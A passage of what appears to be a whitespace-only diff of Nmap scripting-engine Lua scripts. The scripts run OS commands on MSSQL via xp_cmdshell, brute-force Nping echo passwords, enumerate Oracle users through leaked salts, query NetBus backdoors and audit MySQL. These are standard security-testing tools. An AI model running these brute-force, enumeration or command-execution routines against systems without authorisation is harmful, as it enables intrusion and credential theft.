if ( not creds ) then
|
||||
output = "ERROR: No login credentials."
|
||||
else
|
||||
for username, password in pairs( creds ) do
|
||||
local helper = mssql.Helper:new()
|
||||
status, result = helper:ConnectEx( instance )
|
||||
if ( not(status) ) then
|
||||
output = "ERROR: " .. result
|
||||
break
|
||||
end
|
||||
local creds = mssql.Helper.GetLoginCredentials_All( instance )
|
||||
if ( not creds ) then
|
||||
output = "ERROR: No login credentials."
|
||||
else
|
||||
for username, password in pairs( creds ) do
|
||||
local helper = mssql.Helper:new()
|
||||
status, result = helper:ConnectEx( instance )
|
||||
if ( not(status) ) then
|
||||
output = "ERROR: " .. result
|
||||
break
|
||||
end
|
||||
|
||||
if ( status ) then
|
||||
status = helper:Login( username, password, nil, instance.host.ip )
|
||||
end
|
||||
if ( status ) then
|
||||
status = helper:Login( username, password, nil, instance.host.ip )
|
||||
end
|
||||
|
||||
if ( status ) then
|
||||
status, result = helper:Query( query )
|
||||
end
|
||||
helper:Disconnect()
|
||||
if ( status ) then
|
||||
status, result = helper:Query( query )
|
||||
end
|
||||
helper:Disconnect()
|
||||
|
||||
if ( status ) then
|
||||
output = mssql.Util.FormatOutputTable( result, true )
|
||||
output[ "name" ] = string.format( "Command: %s", cmd )
|
||||
break
|
||||
elseif ( result and result:gmatch("xp_configure") ) then
|
||||
if( nmap.verbosity() > 1 ) then
|
||||
output = "Procedure xp_cmdshell disabled. For more information see \"Surface Area Configuration\" in Books Online."
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
if ( status ) then
|
||||
output = mssql.Util.FormatOutputTable( result, true )
|
||||
output[ "name" ] = string.format( "Command: %s", cmd )
|
||||
break
|
||||
elseif ( result and result:gmatch("xp_configure") ) then
|
||||
if( nmap.verbosity() > 1 ) then
|
||||
output = "Procedure xp_cmdshell disabled. For more information see \"Surface Area Configuration\" in Books Online."
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
local instanceOutput = {}
|
||||
instanceOutput["name"] = string.format( "[%s]", instance:GetName() )
|
||||
table.insert( instanceOutput, output )
|
||||
local instanceOutput = {}
|
||||
instanceOutput["name"] = string.format( "[%s]", instance:GetName() )
|
||||
table.insert( instanceOutput, output )
|
||||
|
||||
return instanceOutput
|
||||
return instanceOutput
|
||||
|
||||
end
|
||||
|
||||
|
||||
action = function( host, port )
|
||||
local scriptOutput = {}
|
||||
local status, instanceList = mssql.Helper.GetTargetInstances( host, port )
|
||||
local scriptOutput = {}
|
||||
local status, instanceList = mssql.Helper.GetTargetInstances( host, port )
|
||||
|
||||
if ( not status ) then
|
||||
return stdnse.format_output( false, instanceList )
|
||||
else
|
||||
for _, instance in pairs( instanceList ) do
|
||||
local instanceOutput = process_instance( instance )
|
||||
if instanceOutput then
|
||||
table.insert( scriptOutput, instanceOutput )
|
||||
end
|
||||
end
|
||||
if ( not status ) then
|
||||
return stdnse.format_output( false, instanceList )
|
||||
else
|
||||
for _, instance in pairs( instanceList ) do
|
||||
local instanceOutput = process_instance( instance )
|
||||
if instanceOutput then
|
||||
table.insert( scriptOutput, instanceOutput )
|
||||
end
|
||||
end
|
||||
|
||||
if ( not(stdnse.get_script_args( {'ms-sql-xp-cmdshell.cmd', 'mssql-xp-cmdshell.cmd'} ) ) ) then
|
||||
table.insert(scriptOutput, 1, "(Use --script-args=ms-sql-xp-cmdshell.cmd='<CMD>' to change command.)")
|
||||
end
|
||||
end
|
||||
if ( not(stdnse.get_script_args( {'ms-sql-xp-cmdshell.cmd', 'mssql-xp-cmdshell.cmd'} ) ) ) then
|
||||
table.insert(scriptOutput, 1, "(Use --script-args=ms-sql-xp-cmdshell.cmd='<CMD>' to change command.)")
|
||||
end
|
||||
end
|
||||
|
||||
return stdnse.format_output( true, scriptOutput )
|
||||
return stdnse.format_output( true, scriptOutput )
|
||||
end
|
||||
|
||||
@@ -15,7 +15,7 @@ audits by creating appropriate audit files).
|
||||
---
|
||||
-- @usage
|
||||
-- nmap -p 3306 --script mysql-audit --script-args "mysql-audit.username='root', \
|
||||
-- mysql-audit.password='foobar',mysql-audit.filename='nselib/data/mysql-cis.audit'"
|
||||
-- mysql-audit.password='foobar',mysql-audit.filename='nselib/data/mysql-cis.audit'"
|
||||
--
|
||||
-- @args mysql-audit.username the username with which to connect to the database
|
||||
-- @args mysql-audit.password the password with which to connect to the database
|
||||
@@ -94,89 +94,89 @@ portrule = shortport.port_or_service(3306, "mysql")
|
||||
local TEMPLATE_NAME, ADMIN_ACCOUNTS = "", ""
|
||||
|
||||
local function loadAuditRulebase( filename )
|
||||
local rules = {}
|
||||
local rules = {}
|
||||
|
||||
local env = setmetatable({
|
||||
test = function(t) table.insert(rules, t) end;
|
||||
}, {__index = _G})
|
||||
local env = setmetatable({
|
||||
test = function(t) table.insert(rules, t) end;
|
||||
}, {__index = _G})
|
||||
|
||||
local file, err = loadfile(filename, "t", env)
|
||||
local file, err = loadfile(filename, "t", env)
|
||||
|
||||
if ( not(file) ) then
|
||||
return false, ("ERROR: Failed to load rulebase:\n%s"):format(err)
|
||||
end
|
||||
if ( not(file) ) then
|
||||
return false, ("ERROR: Failed to load rulebase:\n%s"):format(err)
|
||||
end
|
||||
|
||||
|
||||
file()
|
||||
TEMPLATE_NAME = env.TEMPLATE_NAME
|
||||
ADMIN_ACCOUNTS = env.ADMIN_ACCOUNTS
|
||||
return true, rules
|
||||
file()
|
||||
TEMPLATE_NAME = env.TEMPLATE_NAME
|
||||
ADMIN_ACCOUNTS = env.ADMIN_ACCOUNTS
|
||||
return true, rules
|
||||
end
|
||||
|
||||
action = function( host, port )
|
||||
|
||||
local username = stdnse.get_script_args("mysql-audit.username")
|
||||
local password = stdnse.get_script_args("mysql-audit.password")
|
||||
local filename = stdnse.get_script_args("mysql-audit.filename")
|
||||
local username = stdnse.get_script_args("mysql-audit.username")
|
||||
local password = stdnse.get_script_args("mysql-audit.password")
|
||||
local filename = stdnse.get_script_args("mysql-audit.filename")
|
||||
|
||||
if ( not(filename) ) then
|
||||
return "\n No audit rulebase file was supplied (see mysql-audit.filename)"
|
||||
end
|
||||
if ( not(filename) ) then
|
||||
return "\n No audit rulebase file was supplied (see mysql-audit.filename)"
|
||||
end
|
||||
|
||||
if ( not(username) ) then
|
||||
return "\n No username was supplied (see mysql-audit.username)"
|
||||
end
|
||||
if ( not(username) ) then
|
||||
return "\n No username was supplied (see mysql-audit.username)"
|
||||
end
|
||||
|
||||
local status, tests = loadAuditRulebase( filename )
|
||||
if( not(status) ) then return tests end
|
||||
local status, tests = loadAuditRulebase( filename )
|
||||
if( not(status) ) then return tests end
|
||||
|
||||
local socket = nmap.new_socket()
|
||||
status = socket:connect(host, port)
|
||||
local socket = nmap.new_socket()
|
||||
status = socket:connect(host, port)
|
||||
|
||||
local response
|
||||
status, response = mysql.receiveGreeting( socket )
|
||||
if ( not(status) ) then return response end
|
||||
local response
|
||||
status, response = mysql.receiveGreeting( socket )
|
||||
if ( not(status) ) then return response end
|
||||
|
||||
status, response = mysql.loginRequest( socket, { authversion = "post41", charset = response.charset }, username, password, response.salt )
|
||||
status, response = mysql.loginRequest( socket, { authversion = "post41", charset = response.charset }, username, password, response.salt )
|
||||
|
||||
if ( not(status) ) then return "ERROR: Failed to authenticate" end
|
||||
local results = {}
|
||||
if ( not(status) ) then return "ERROR: Failed to authenticate" end
|
||||
local results = {}
|
||||
|
||||
for _, test in ipairs(tests) do
|
||||
local queries = ( "string" == type(test.sql) ) and { test.sql } or test.sql
|
||||
local rowstab = {}
|
||||
for _, test in ipairs(tests) do
|
||||
local queries = ( "string" == type(test.sql) ) and { test.sql } or test.sql
|
||||
local rowstab = {}
|
||||
|
||||
for _, query in ipairs(queries) do
|
||||
local row
|
||||
status, row = mysql.sqlQuery( socket, query )
|
||||
if ( not(status) ) then
|
||||
table.insert( results, { ("%s: ERROR: Failed to execute SQL statement"):format(test.id) } )
|
||||
else
|
||||
table.insert(rowstab, row)
|
||||
end
|
||||
end
|
||||
for _, query in ipairs(queries) do
|
||||
local row
|
||||
status, row = mysql.sqlQuery( socket, query )
|
||||
if ( not(status) ) then
|
||||
table.insert( results, { ("%s: ERROR: Failed to execute SQL statement"):format(test.id) } )
|
||||
else
|
||||
table.insert(rowstab, row)
|
||||
end
|
||||
end
|
||||
|
||||
if ( #rowstab > 0 ) then
|
||||
local result_part = {}
|
||||
local res = test.check(rowstab)
|
||||
local status, data = res.status, res.result
|
||||
status = ( res.review and "REVIEW" ) or (status and "PASS" or "FAIL")
|
||||
if ( #rowstab > 0 ) then
|
||||
local result_part = {}
|
||||
local res = test.check(rowstab)
|
||||
local status, data = res.status, res.result
|
||||
status = ( res.review and "REVIEW" ) or (status and "PASS" or "FAIL")
|
||||
|
||||
table.insert( result_part, ("%s: %s => %s"):format(test.id, test.desc, status) )
|
||||
if ( data ) then
|
||||
table.insert(result_part, { data } )
|
||||
end
|
||||
table.insert( results, result_part )
|
||||
end
|
||||
end
|
||||
table.insert( result_part, ("%s: %s => %s"):format(test.id, test.desc, status) )
|
||||
if ( data ) then
|
||||
table.insert(result_part, { data } )
|
||||
end
|
||||
table.insert( results, result_part )
|
||||
end
|
||||
end
|
||||
|
||||
socket:close()
|
||||
results.name = TEMPLATE_NAME
|
||||
socket:close()
|
||||
results.name = TEMPLATE_NAME
|
||||
|
||||
table.insert(results, "")
|
||||
table.insert(results, {name = "Additional information", ("The audit was performed using the db-account: %s"):format(username),
|
||||
("The following admin accounts were excluded from the audit: %s"):format(stdnse.strjoin(",", ADMIN_ACCOUNTS))
|
||||
})
|
||||
table.insert(results, "")
|
||||
table.insert(results, {name = "Additional information", ("The audit was performed using the db-account: %s"):format(username),
|
||||
("The following admin accounts were excluded from the audit: %s"):format(stdnse.strjoin(",", ADMIN_ACCOUNTS))
|
||||
})
|
||||
|
||||
return stdnse.format_output(true, { results })
|
||||
return stdnse.format_output(true, { results })
|
||||
end
|
||||
|
||||
@@ -63,112 +63,112 @@ dependencies = {"netbus-version", "netbus-brute"}
|
||||
portrule = shortport.port_or_service (12345, "netbus", {"tcp"})
|
||||
|
||||
local function format_acl(acl)
|
||||
if acl == nil then
|
||||
return {}
|
||||
end
|
||||
local payload = string.sub(acl, 9) --skip header
|
||||
local fields = stdnse.strsplit("|", payload)
|
||||
table.remove(fields, (# fields))
|
||||
fields["name"] = "ACL"
|
||||
return fields
|
||||
if acl == nil then
|
||||
return {}
|
||||
end
|
||||
local payload = string.sub(acl, 9) --skip header
|
||||
local fields = stdnse.strsplit("|", payload)
|
||||
table.remove(fields, (# fields))
|
||||
fields["name"] = "ACL"
|
||||
return fields
|
||||
end
|
||||
|
||||
local function format_apps(apps)
|
||||
if apps == nil then
|
||||
return {}
|
||||
end
|
||||
local payload = string.sub(apps, 10) --skip header
|
||||
local fields = stdnse.strsplit("|", payload)
|
||||
table.remove(fields, (# fields))
|
||||
fields["name"] = "APPLICATIONS"
|
||||
return fields
|
||||
if apps == nil then
|
||||
return {}
|
||||
end
|
||||
local payload = string.sub(apps, 10) --skip header
|
||||
local fields = stdnse.strsplit("|", payload)
|
||||
table.remove(fields, (# fields))
|
||||
fields["name"] = "APPLICATIONS"
|
||||
return fields
|
||||
end
|
||||
|
||||
local function format_info(info)
|
||||
if info == nil then
|
||||
return {}
|
||||
end
|
||||
local payload = string.sub(info, 6) --skip header
|
||||
local fields = stdnse.strsplit("|", payload)
|
||||
fields["name"] = "INFO"
|
||||
return fields
|
||||
if info == nil then
|
||||
return {}
|
||||
end
|
||||
local payload = string.sub(info, 6) --skip header
|
||||
local fields = stdnse.strsplit("|", payload)
|
||||
fields["name"] = "INFO"
|
||||
return fields
|
||||
end
|
||||
|
||||
local function format_setup(setup)
|
||||
local formatted = {}
|
||||
if setup == nil then
|
||||
return formatted
|
||||
end
|
||||
local fields = stdnse.strsplit(";", setup)
|
||||
if # fields < 7 then
|
||||
return formatted
|
||||
end
|
||||
formatted["name"] = "SETUP"
|
||||
table.insert(formatted, string.format("TCP-port: %s", fields[2]))
|
||||
table.insert(formatted, string.format("Log traffic: %s", fields[3]))
|
||||
table.insert(formatted, string.format("Password: %s", fields[4]))
|
||||
table.insert(formatted, string.format("Notify to: %s", fields[5]))
|
||||
table.insert(formatted, string.format("Notify from: %s", fields[6]))
|
||||
table.insert(formatted, string.format("SMTP-server: %s", fields[7]))
|
||||
return formatted
|
||||
local formatted = {}
|
||||
if setup == nil then
|
||||
return formatted
|
||||
end
|
||||
local fields = stdnse.strsplit(";", setup)
|
||||
if # fields < 7 then
|
||||
return formatted
|
||||
end
|
||||
formatted["name"] = "SETUP"
|
||||
table.insert(formatted, string.format("TCP-port: %s", fields[2]))
|
||||
table.insert(formatted, string.format("Log traffic: %s", fields[3]))
|
||||
table.insert(formatted, string.format("Password: %s", fields[4]))
|
||||
table.insert(formatted, string.format("Notify to: %s", fields[5]))
|
||||
table.insert(formatted, string.format("Notify from: %s", fields[6]))
|
||||
table.insert(formatted, string.format("SMTP-server: %s", fields[7]))
|
||||
return formatted
|
||||
end
|
||||
|
||||
local function format_volume(volume)
|
||||
local formatted = {}
|
||||
if volume == nil then
|
||||
return formatted
|
||||
end
|
||||
local fields = stdnse.strsplit(";", volume)
|
||||
if # fields < 4 then
|
||||
return formatted
|
||||
end
|
||||
formatted["name"] = "VOLUME"
|
||||
table.insert(formatted, string.format("Wave: %s", fields[2]))
|
||||
table.insert(formatted, string.format("Synth: %s", fields[3]))
|
||||
table.insert(formatted, string.format("Cd: %s", fields[4]))
|
||||
return formatted
|
||||
local formatted = {}
|
||||
if volume == nil then
|
||||
return formatted
|
||||
end
|
||||
local fields = stdnse.strsplit(";", volume)
|
||||
if # fields < 4 then
|
||||
return formatted
|
||||
end
|
||||
formatted["name"] = "VOLUME"
|
||||
table.insert(formatted, string.format("Wave: %s", fields[2]))
|
||||
table.insert(formatted, string.format("Synth: %s", fields[3]))
|
||||
table.insert(formatted, string.format("Cd: %s", fields[4]))
|
||||
return formatted
|
||||
end
|
||||
|
||||
action = function( host, port )
|
||||
local password = nmap.registry.args[SCRIPT_NAME .. ".password"]
|
||||
if not password and nmap.registry.netbuspasswords then
|
||||
local key = string.format("%s:%d", host.ip, port.number)
|
||||
password = nmap.registry.netbuspasswords[key]
|
||||
end
|
||||
if not password then
|
||||
password = ""
|
||||
end
|
||||
local socket = nmap.new_socket()
|
||||
socket:set_timeout(5000)
|
||||
local status, err = socket:connect(host.ip, port.number)
|
||||
local buffer, err = stdnse.make_buffer(socket, "\r")
|
||||
local _ = buffer()
|
||||
socket:send(string.format("Password;1;%s\r", password))
|
||||
local gotin = buffer()
|
||||
if gotin == "Access;0" then
|
||||
return
|
||||
end
|
||||
local password = nmap.registry.args[SCRIPT_NAME .. ".password"]
|
||||
if not password and nmap.registry.netbuspasswords then
|
||||
local key = string.format("%s:%d", host.ip, port.number)
|
||||
password = nmap.registry.netbuspasswords[key]
|
||||
end
|
||||
if not password then
|
||||
password = ""
|
||||
end
|
||||
local socket = nmap.new_socket()
|
||||
socket:set_timeout(5000)
|
||||
local status, err = socket:connect(host.ip, port.number)
|
||||
local buffer, err = stdnse.make_buffer(socket, "\r")
|
||||
local _ = buffer()
|
||||
socket:send(string.format("Password;1;%s\r", password))
|
||||
local gotin = buffer()
|
||||
if gotin == "Access;0" then
|
||||
return
|
||||
end
|
||||
|
||||
socket:send("GetInfo\r")
|
||||
local info = buffer()
|
||||
socket:send("GetSetup\r")
|
||||
local setup = buffer()
|
||||
socket:send("GetACL\r")
|
||||
local acl = buffer()
|
||||
socket:send("GetApps\r")
|
||||
local apps = buffer()
|
||||
socket:send("GetVolume\r")
|
||||
local volume = buffer()
|
||||
socket:close()
|
||||
socket:send("GetInfo\r")
|
||||
local info = buffer()
|
||||
socket:send("GetSetup\r")
|
||||
local setup = buffer()
|
||||
socket:send("GetACL\r")
|
||||
local acl = buffer()
|
||||
socket:send("GetApps\r")
|
||||
local apps = buffer()
|
||||
socket:send("GetVolume\r")
|
||||
local volume = buffer()
|
||||
socket:close()
|
||||
|
||||
local response = {}
|
||||
table.insert(response, format_acl(acl))
|
||||
table.insert(response, format_apps(apps))
|
||||
table.insert(response, format_info(info))
|
||||
table.insert(response, format_setup(setup))
|
||||
table.insert(response, format_volume(volume))
|
||||
local response = {}
|
||||
table.insert(response, format_acl(acl))
|
||||
table.insert(response, format_apps(apps))
|
||||
table.insert(response, format_info(info))
|
||||
table.insert(response, format_setup(setup))
|
||||
table.insert(response, format_volume(volume))
|
||||
|
||||
return stdnse.format_output(true, response)
|
||||
return stdnse.format_output(true, response)
|
||||
end
|
||||
|
||||
|
||||
|
||||
@@ -35,127 +35,127 @@ categories = {"brute", "intrusive"}
|
||||
portrule = shortport.port_or_service(9929, "nping-echo")
|
||||
|
||||
local function randombytes(x)
|
||||
local bytes = ""
|
||||
for i = 1, x do
|
||||
bytes = bytes .. bin.pack("C", math.random(0x00, 0xff))
|
||||
end
|
||||
return bytes
|
||||
local bytes = ""
|
||||
for i = 1, x do
|
||||
bytes = bytes .. bin.pack("C", math.random(0x00, 0xff))
|
||||
end
|
||||
return bytes
|
||||
end
|
||||
|
||||
local function readmessage(socket, length)
|
||||
local msg = ""
|
||||
while #msg < length do
|
||||
local status, tmp = socket:receive_bytes(1)
|
||||
if not status then
|
||||
return nil
|
||||
end
|
||||
msg = msg .. tmp
|
||||
end
|
||||
return msg
|
||||
local msg = ""
|
||||
while #msg < length do
|
||||
local status, tmp = socket:receive_bytes(1)
|
||||
if not status then
|
||||
return nil
|
||||
end
|
||||
msg = msg .. tmp
|
||||
end
|
||||
return msg
|
||||
end
|
||||
|
||||
Driver =
|
||||
{
|
||||
NEP_VERSION = 0x01,
|
||||
AES_128_CBC = "aes-128-cbc",
|
||||
SHA256 = "sha256",
|
||||
NEP_VERSION = 0x01,
|
||||
AES_128_CBC = "aes-128-cbc",
|
||||
SHA256 = "sha256",
|
||||
|
||||
new = function(self, host, port)
|
||||
local o = {}
|
||||
setmetatable(o, self)
|
||||
self.__index = self
|
||||
o.host = host
|
||||
o.port = port
|
||||
return o
|
||||
end,
|
||||
new = function(self, host, port)
|
||||
local o = {}
|
||||
setmetatable(o, self)
|
||||
self.__index = self
|
||||
o.host = host
|
||||
o.port = port
|
||||
return o
|
||||
end,
|
||||
|
||||
nepkey = function(self, password, nonce, typeid)
|
||||
local seed = password .. nonce .. typeid
|
||||
local h = openssl.digest(self.SHA256, seed)
|
||||
for i = 1, 1000 do
|
||||
h = openssl.digest(self.SHA256, h)
|
||||
end
|
||||
local _, key = bin.unpack("A16", h)
|
||||
return key
|
||||
end,
|
||||
nepkey = function(self, password, nonce, typeid)
|
||||
local seed = password .. nonce .. typeid
|
||||
local h = openssl.digest(self.SHA256, seed)
|
||||
for i = 1, 1000 do
|
||||
h = openssl.digest(self.SHA256, h)
|
||||
end
|
||||
local _, key = bin.unpack("A16", h)
|
||||
return key
|
||||
end,
|
||||
|
||||
getservernonce = function(self, serverhs)
|
||||
local parts = {bin.unpack("CC>S>I>Ix4A32x15A32", serverhs)}
|
||||
return parts[7]
|
||||
end,
|
||||
getservernonce = function(self, serverhs)
|
||||
local parts = {bin.unpack("CC>S>I>Ix4A32x15A32", serverhs)}
|
||||
return parts[7]
|
||||
end,
|
||||
|
||||
chsbody = function(self)
|
||||
local IP4 = 0x04
|
||||
local IP6 = 0x06
|
||||
local family = IP6
|
||||
local target = self.host.bin_ip
|
||||
if #target == 4 then
|
||||
target = bin.pack("Ax12", target)
|
||||
family = IP4
|
||||
end
|
||||
return bin.pack("ACx15", target, family)
|
||||
end,
|
||||
chsbody = function(self)
|
||||
local IP4 = 0x04
|
||||
local IP6 = 0x06
|
||||
local family = IP6
|
||||
local target = self.host.bin_ip
|
||||
if #target == 4 then
|
||||
target = bin.pack("Ax12", target)
|
||||
family = IP4
|
||||
end
|
||||
return bin.pack("ACx15", target, family)
|
||||
end,
|
||||
|
||||
clienths = function(self, snonce, password)
|
||||
local NEP_HANDSHAKE_CLIENT = 0x02
|
||||
local NEP_HANDSHAKE_CLIENT_LEN = 36
|
||||
local NEP_CLIENT_CIPHER_ID = "NEPkeyforCiphertextClient2Server"
|
||||
local NEP_CLIENT_MAC_ID = "NEPkeyforMACClient2Server"
|
||||
clienths = function(self, snonce, password)
|
||||
local NEP_HANDSHAKE_CLIENT = 0x02
|
||||
local NEP_HANDSHAKE_CLIENT_LEN = 36
|
||||
local NEP_CLIENT_CIPHER_ID = "NEPkeyforCiphertextClient2Server"
|
||||
local NEP_CLIENT_MAC_ID = "NEPkeyforMACClient2Server"
|
||||
|
||||
local now = nmap.clock()
|
||||
local seqb = randombytes(4)
|
||||
local cnonce = randombytes(32)
|
||||
local nonce = snonce .. cnonce
|
||||
local enckey = self:nepkey(password, nonce, NEP_CLIENT_CIPHER_ID)
|
||||
local mackey = self:nepkey(password, nonce, NEP_CLIENT_MAC_ID)
|
||||
local _, iv = bin.unpack("A16", cnonce)
|
||||
local plain = self:chsbody()
|
||||
local crypted = openssl.encrypt(self.AES_128_CBC, enckey, iv, plain)
|
||||
local head = bin.pack("CC>SA>Ix4A", self.NEP_VERSION, NEP_HANDSHAKE_CLIENT, NEP_HANDSHAKE_CLIENT_LEN, seqb, now, nonce)
|
||||
local mac = openssl.hmac(self.SHA256, mackey, head .. plain)
|
||||
local now = nmap.clock()
|
||||
local seqb = randombytes(4)
|
||||
local cnonce = randombytes(32)
|
||||
local nonce = snonce .. cnonce
|
||||
local enckey = self:nepkey(password, nonce, NEP_CLIENT_CIPHER_ID)
|
||||
local mackey = self:nepkey(password, nonce, NEP_CLIENT_MAC_ID)
|
||||
local _, iv = bin.unpack("A16", cnonce)
|
||||
local plain = self:chsbody()
|
||||
local crypted = openssl.encrypt(self.AES_128_CBC, enckey, iv, plain)
|
||||
local head = bin.pack("CC>SA>Ix4A", self.NEP_VERSION, NEP_HANDSHAKE_CLIENT, NEP_HANDSHAKE_CLIENT_LEN, seqb, now, nonce)
|
||||
local mac = openssl.hmac(self.SHA256, mackey, head .. plain)
|
||||
|
||||
return head .. crypted .. mac
|
||||
end,
|
||||
return head .. crypted .. mac
|
||||
end,
|
||||
|
||||
testpass = function(self, password)
|
||||
local SERVERHS_LEN = 96
|
||||
local FINALHS_LEN = 112
|
||||
local serverhs = readmessage(self.socket, SERVERHS_LEN)
|
||||
if serverhs == nil then
|
||||
return false
|
||||
end
|
||||
local snonce = self:getservernonce(serverhs)
|
||||
local response = self:clienths(snonce, password)
|
||||
self.socket:send(response)
|
||||
local finalhs = readmessage(self.socket, FINALHS_LEN)
|
||||
if finalhs == nil then
|
||||
return false
|
||||
end
|
||||
return true
|
||||
end,
|
||||
testpass = function(self, password)
|
||||
local SERVERHS_LEN = 96
|
||||
local FINALHS_LEN = 112
|
||||
local serverhs = readmessage(self.socket, SERVERHS_LEN)
|
||||
if serverhs == nil then
|
||||
return false
|
||||
end
|
||||
local snonce = self:getservernonce(serverhs)
|
||||
local response = self:clienths(snonce, password)
|
||||
self.socket:send(response)
|
||||
local finalhs = readmessage(self.socket, FINALHS_LEN)
|
||||
if finalhs == nil then
|
||||
return false
|
||||
end
|
||||
return true
|
||||
end,
|
||||
|
||||
connect = function(self)
|
||||
self.socket = nmap.new_socket()
|
||||
return self.socket:connect(self.host, self.port)
|
||||
end,
|
||||
connect = function(self)
|
||||
self.socket = nmap.new_socket()
|
||||
return self.socket:connect(self.host, self.port)
|
||||
end,
|
||||
|
||||
login = function(self, _, password)
|
||||
if self:testpass(password) then
|
||||
return true, brute.Account:new("", password, creds.State.VALID)
|
||||
end
|
||||
return false, brute.Error:new("Incorrect password")
|
||||
end,
|
||||
login = function(self, _, password)
|
||||
if self:testpass(password) then
|
||||
return true, brute.Account:new("", password, creds.State.VALID)
|
||||
end
|
||||
return false, brute.Error:new("Incorrect password")
|
||||
end,
|
||||
|
||||
disconnect = function(self)
|
||||
return self.socket:close()
|
||||
end,
|
||||
disconnect = function(self)
|
||||
return self.socket:close()
|
||||
end,
|
||||
}
|
||||
|
||||
action = function(host, port)
|
||||
local engine = brute.Engine:new(Driver, host, port)
|
||||
engine.options.firstonly = true
|
||||
engine.options:setOption("passonly", true)
|
||||
engine.options.script_name = SCRIPT_NAME
|
||||
local status, result = engine:start()
|
||||
return result
|
||||
local engine = brute.Engine:new(Driver, host, port)
|
||||
engine.options.firstonly = true
|
||||
engine.options:setOption("passonly", true)
|
||||
engine.options.script_name = SCRIPT_NAME
|
||||
local status, result = engine:start()
|
||||
return result
|
||||
end
|
||||
|
||||
@@ -48,26 +48,26 @@ portrule = shortport.port_or_service(1521, 'oracle-tns' )
|
||||
|
||||
local function checkAccount( host, port, user )
|
||||
|
||||
local helper = tns.Helper:new( host, port, nmap.registry.args['oracle-enum-users.sid'] )
|
||||
local status, data = helper:Connect()
|
||||
local tnscomm, auth
|
||||
local auth_options = tns.AuthOptions:new()
|
||||
local helper = tns.Helper:new( host, port, nmap.registry.args['oracle-enum-users.sid'] )
|
||||
local status, data = helper:Connect()
|
||||
local tnscomm, auth
|
||||
local auth_options = tns.AuthOptions:new()
|
||||
|
||||
|
||||
if ( not(status) ) then
|
||||
return false, data
|
||||
end
|
||||
if ( not(status) ) then
|
||||
return false, data
|
||||
end
|
||||
|
||||
-- A bit ugly, the helper should probably provide a getSocket function
|
||||
tnscomm = tns.Comm:new( helper.tnssocket )
|
||||
-- A bit ugly, the helper should probably provide a getSocket function
|
||||
tnscomm = tns.Comm:new( helper.tnssocket )
|
||||
|
||||
status, auth = tnscomm:exchTNSPacket( tns.Packet.PreAuth:new( user, auth_options, helper.os ) )
|
||||
if ( not(status) ) then
|
||||
return false, auth
|
||||
end
|
||||
helper:Close()
|
||||
status, auth = tnscomm:exchTNSPacket( tns.Packet.PreAuth:new( user, auth_options, helper.os ) )
|
||||
if ( not(status) ) then
|
||||
return false, auth
|
||||
end
|
||||
helper:Close()
|
||||
|
||||
return true, auth["AUTH_VFR_DATA"]
|
||||
return true, auth["AUTH_VFR_DATA"]
|
||||
end
|
||||
|
||||
---Generates a random string of the requested length. This can be used to check how hosts react to
|
||||
@@ -76,85 +76,85 @@ end
|
||||
--@param set (optional) The set of letters to choose from. Default: upper, lower, numbers, and underscore.
|
||||
--@return The random string.
|
||||
local function get_random_string(length, set)
|
||||
if(length == nil) then
|
||||
length = 8
|
||||
end
|
||||
if(length == nil) then
|
||||
length = 8
|
||||
end
|
||||
|
||||
if(set == nil) then
|
||||
set = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_"
|
||||
end
|
||||
if(set == nil) then
|
||||
set = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_"
|
||||
end
|
||||
|
||||
local str = ""
|
||||
local str = ""
|
||||
|
||||
for i = 1, length, 1 do
|
||||
local random = math.random(#set)
|
||||
str = str .. string.sub(set, random, random)
|
||||
end
|
||||
for i = 1, length, 1 do
|
||||
local random = math.random(#set)
|
||||
str = str .. string.sub(set, random, random)
|
||||
end
|
||||
|
||||
return str
|
||||
return str
|
||||
end
|
||||
|
||||
|
||||
|
||||
action = function( host, port )
|
||||
|
||||
local known_good_accounts = { "system", "sys", "dbsnmp", "scott" }
|
||||
local known_good_accounts = { "system", "sys", "dbsnmp", "scott" }
|
||||
|
||||
local status, salt
|
||||
local count = 0
|
||||
local result = {}
|
||||
local usernames
|
||||
local status, salt
|
||||
local count = 0
|
||||
local result = {}
|
||||
local usernames
|
||||
|
||||
if ( not( nmap.registry.args['oracle-enum-users.sid'] ) and not( nmap.registry.args['tns.sid'] ) ) then
|
||||
return "ERROR: Oracle instance not set (see oracle-enum-users.sid or tns.sid)"
|
||||
end
|
||||
if ( not( nmap.registry.args['oracle-enum-users.sid'] ) and not( nmap.registry.args['tns.sid'] ) ) then
|
||||
return "ERROR: Oracle instance not set (see oracle-enum-users.sid or tns.sid)"
|
||||
end
|
||||
|
||||
status, usernames = unpwdb.usernames()
|
||||
if( not(status) ) then
|
||||
return stdnse.format_output(true, "ERROR: Failed to load the usernames dictionary")
|
||||
end
|
||||
status, usernames = unpwdb.usernames()
|
||||
if( not(status) ) then
|
||||
return stdnse.format_output(true, "ERROR: Failed to load the usernames dictionary")
|
||||
end
|
||||
|
||||
-- Check for some known good accounts
|
||||
for _, user in ipairs( known_good_accounts ) do
|
||||
status, salt = checkAccount(host, port, user)
|
||||
if( not(status) ) then return salt end
|
||||
if ( salt ) then
|
||||
count = count + #salt
|
||||
end
|
||||
end
|
||||
-- Check for some known good accounts
|
||||
for _, user in ipairs( known_good_accounts ) do
|
||||
status, salt = checkAccount(host, port, user)
|
||||
if( not(status) ) then return salt end
|
||||
if ( salt ) then
|
||||
count = count + #salt
|
||||
end
|
||||
end
|
||||
|
||||
-- did we atleast get a single salt back?
|
||||
if ( count < 20 ) then
|
||||
return stdnse.format_output(true, "ERROR: None of the known accounts were detected (oracle < 11g)")
|
||||
end
|
||||
-- did we atleast get a single salt back?
|
||||
if ( count < 20 ) then
|
||||
return stdnse.format_output(true, "ERROR: None of the known accounts were detected (oracle < 11g)")
|
||||
end
|
||||
|
||||
-- Check for some known bad accounts
|
||||
count = 0
|
||||
for i=1, 10 do
|
||||
local user = get_random_string(10)
|
||||
status, salt = checkAccount(host, port, user)
|
||||
if( not(status) ) then return salt end
|
||||
if ( salt ) then
|
||||
count = count + #salt
|
||||
end
|
||||
end
|
||||
-- Check for some known bad accounts
|
||||
count = 0
|
||||
for i=1, 10 do
|
||||
local user = get_random_string(10)
|
||||
status, salt = checkAccount(host, port, user)
|
||||
if( not(status) ) then return salt end
|
||||
if ( salt ) then
|
||||
count = count + #salt
|
||||
end
|
||||
end
|
||||
|
||||
